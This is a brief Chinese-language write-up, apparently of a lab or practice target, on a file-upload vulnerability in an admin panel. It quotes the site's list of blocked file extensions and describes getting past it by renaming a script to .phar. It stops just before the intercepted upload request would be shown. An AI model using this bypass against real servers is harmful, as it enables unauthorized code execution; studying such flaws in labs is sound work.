随意注册一个用户，如果说记性不好的话（bushiwo）可以把账户名密码都设置为admin，邮箱随意
直奔主题
漏洞路径：http://123.58.236.76:48412/admin/ ，如果是和我一样注册的话，这里用户名和密码都是admin
点击上传文件
第一步，上传所需文件，第二步，抓包
注意：程序不允许'html', 'htm', 'js', 'jsb', 'mhtml', 'mht', 'php', 'phtml', 'php3', 'php4', 'php5', 'phps','shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh', 'ksh', 'bsh', 'c', 'htaccess', 'htpasswd','exe', 'scr', 'dll', 'msi', 'vbs', 'bat', 'com', 'pif', 'cmd', 'vxd', 'cpl','empty'后缀的文件上传，我一开始去选择了php7为后缀，结果该网站并不解析，所以改为phar
以下是数据包
